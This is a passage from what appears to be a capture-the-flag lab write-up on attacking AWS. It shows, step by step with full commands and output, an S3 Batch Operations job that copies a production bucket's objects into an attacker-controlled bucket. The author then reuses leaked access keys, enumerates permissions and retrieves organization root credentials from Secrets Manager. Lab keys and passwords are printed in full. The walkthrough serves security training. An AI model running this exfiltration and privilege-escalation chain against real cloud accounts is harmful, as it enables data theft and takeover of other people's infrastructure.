      "Resource": "arn:aws:s3:::s3-secure-backup-4c8691723a37/*",
      "Condition": {
        "StringEquals": {
          "aws:SourceAccount": "036528129738",
          "s3:x-amz-acl": "bucket-owner-full-control"
        },
        "ArnLike": {
          "aws:SourceArn": "arn:aws:s3:::cust-txn-prod-4c8691723a37"
        }
      }
    }
  ]
}

We upload the policy and then verify that it has successfully been applied.

❯ aws --profile pentester s3api put-bucket-policy --bucket s3-secure-backup-4c8691723a37 --policy file://s3-secure-bucket.json

❯ aws --profile pentester s3api get-bucket-policy --bucket s3-secure-backup-4c8691723a37 | jq -r '.Policy' | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "s3.amazonaws.com"
      },
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::s3-secure-backup-4c8691723a37/*",
      "Condition": {
        "StringEquals": {
          "aws:SourceAccount": "036528129738",
          "s3:x-amz-acl": "bucket-owner-full-control"
        },
        "ArnLike": {
          "aws:SourceArn": "arn:aws:s3:::cust-txn-prod-4c8691723a37"
        }
      }
    }
  ]
}

We now initiate a batch operation job with the following command:

aws --profile pentester s3control create-job \
    --account-id 314031133559 \
    --operation '{"S3ReplicateObject":{}}' \
    --report '{"Bucket":"arn:aws:s3:::s3-secure-backup-4c8691723a37","Prefix":"batch-replication-report","Format":"Report_CSV_20180820","Enabled":true,"ReportScope":"AllTasks"}' \
    --manifest-generator '{"S3JobManifestGenerator":{"ExpectedBucketOwner":"314031133559","SourceBucket":"arn:aws:s3:::cust-txn-prod-4c8691723a37","EnableManifestOutput":false,"Filter":{"EligibleForReplication":true,"ObjectReplicationStatuses": ["NONE","FAILED","COMPLETED","REPLICA"]}}}' \
    --priority 1 \
    --role-arn "arn:aws:iam::314031133559:role/s3_batch_operations_role" \
    --no-confirmation-required \
    --region us-west-2 \
    --description "Batch job to replicate objects from source bucket to attackers bucket"

{
    "JobId": "7e900e96-8a25-4f62-aee3-09de19558bb3"
}

The Job is then queued and we can run the following command and wait to see the Status marked as Complete.

❯ aws --profile pentester s3control list-jobs --account-id 314031133559 --region us-west-2
{
    "Jobs": [
        {
            "JobId": "f887b6bc-8e21-439d-a777-ce80eeb21255",
            "Description": "Batch job to replicate objects from source bucket to attackers bucket",
            "Operation": "S3ReplicateObject",
            "Priority": 1,
            "Status": "Complete",
            "CreationTime": "2024-06-19T04:47:51.106000+00:00",
            "ProgressSummary": {
                "TotalNumberOfTasks": 3,
                "NumberOfTasksSucceeded": 3,
                "NumberOfTasksFailed": 0,
                "Timers": {
                    "ElapsedTimeInActiveSeconds": 120
                }
            }
        }

We list the files in the directory of the s3-secure-backup and we can see that this has been successful.

❯ aws --profile pentester s3 ls s3://s3-secure-backup-4c8691723a37 --recursive
2024-06-19 09:14:41         94 Security_accessKeys.csv
2024-06-19 12:51:01        489 batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/manifest.json
2024-06-19 12:51:01         32 batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/manifest.json.md5
2024-06-19 12:51:01        304 batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/results/54d6906181e032972479d71b161b6f4f48ab76c2.csv
2024-06-19 09:37:40         19 message.txt
2024-06-19 11:01:02         48 new_message.txt

There is one file that looks interesting and that is the Security_accessKeys.csv which we will download

❯ aws --profile pentester s3 cp s3://s3-secure-backup-4c8691723a37/Security_accessKeys.csv .
download: s3://s3-secure-backup-4c8691723a37/Security_accessKeys.csv to ./Security_accessKeys.csv

❯ cat Security_accessKeys.csv
Access key ID,Secret access key
AKIAQ5M4GIJVVW4NMF6X,Olx0v5be4cN56dZ10wgHqAsHf1unhY7TTj2xL3ti

With the file name from the production bucket, we can also use this to get a copy from the replica bucket.

Privilege Escalation

With the credentials found in the S3 buckets we update our AWS Configuration and validate that the credentials are good.

❯ aws --profile security configure
AWS Access Key ID [****************KM65]: AKIAQ5M4GIJVVW4NMF6X
AWS Secret Access Key [****************go5f]: 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
Default region name [us-west-2]:
Default output format [None]:


❯ aws --profile security sts get-caller-identity
{
    "UserId": "AIDAQ5M4GIJV2PILOURPW",
    "Account": "063141462635",
    "Arn": "arn:aws:iam::063141462635:user/security"
}

This time we shall use aws-enumerator and first, we need to load our credentials and then we will enumerate all services.

❯ ~/go/bin/aws-enumerator cred -aws_access_key_id AKIAQ5M4GIJVVW4NMF6X -aws_region us-west-2 -aws_secret_access_key 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
Message:  File .env with AWS credentials were created in current folder

❯ ~/go/bin/aws-enumerator enum -services all
Message:  Successful APPMESH: 0 / 1
Message:  Successful AMPLIFY: 0 / 1
Message:  Successful APIGATEWAY: 0 / 8
Message:  Successful APPSYNC: 0 / 1
Message:  Successful ACM: 0 / 1
Message:  Successful ATHENA: 0 / 3
<--- snip --->
Message:  Successful SECRETSMANAGER: 1 / 2
<--- snip --->
Message:  Successful WORKLINK: 0 / 1
Time: 1m34.840934527s
Message:  Enumeration finished

This is significantly faster than brute-forcing IAM permissions with Pacu, but with far less detail. We can see that we have permissions to SecretsManager and shall list out the secrets.

❯ aws --profile security secretsmanager list-secrets
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-west-2:063141462635:secret:root_account_906e09bc9074-YVUyHC",
            "Name": "root_account_906e09bc9074",
            "Description": "AWS Organization root account",
            "LastChangedDate": "2024-06-19T14:47:05.447000+08:00",
            "LastAccessedDate": "2024-06-19T08:00:00+08:00",
            "SecretVersionsToStages": {
                "terraform-20240619064705375100000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2024-06-19T14:47:05.084000+08:00"
        }
    ]
}

We can see from the above output that there is the AWS Organization Root Account Credentials which we shall retrieve.

❯ aws --profile security secretsmanager get-secret-value --secret-id root_account_906e09bc9074
{
    "ARN": "arn:aws:secretsmanager:us-west-2:063141462635:secret:root_account_906e09bc9074-YVUyHC",
    "Name": "root_account_906e09bc9074",
    "VersionId": "terraform-20240619064705375100000002",
    "SecretString": "{\"flag: 8b681ceb4547c181bf82b7bff602d0f6\":\"magnus@huge-logistics.com : OrgR00TP@ss!!\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2024-06-19T14:47:05.443000+08:00"
}

We have the flag and the keys to the entire kingdom.

PWNED!!!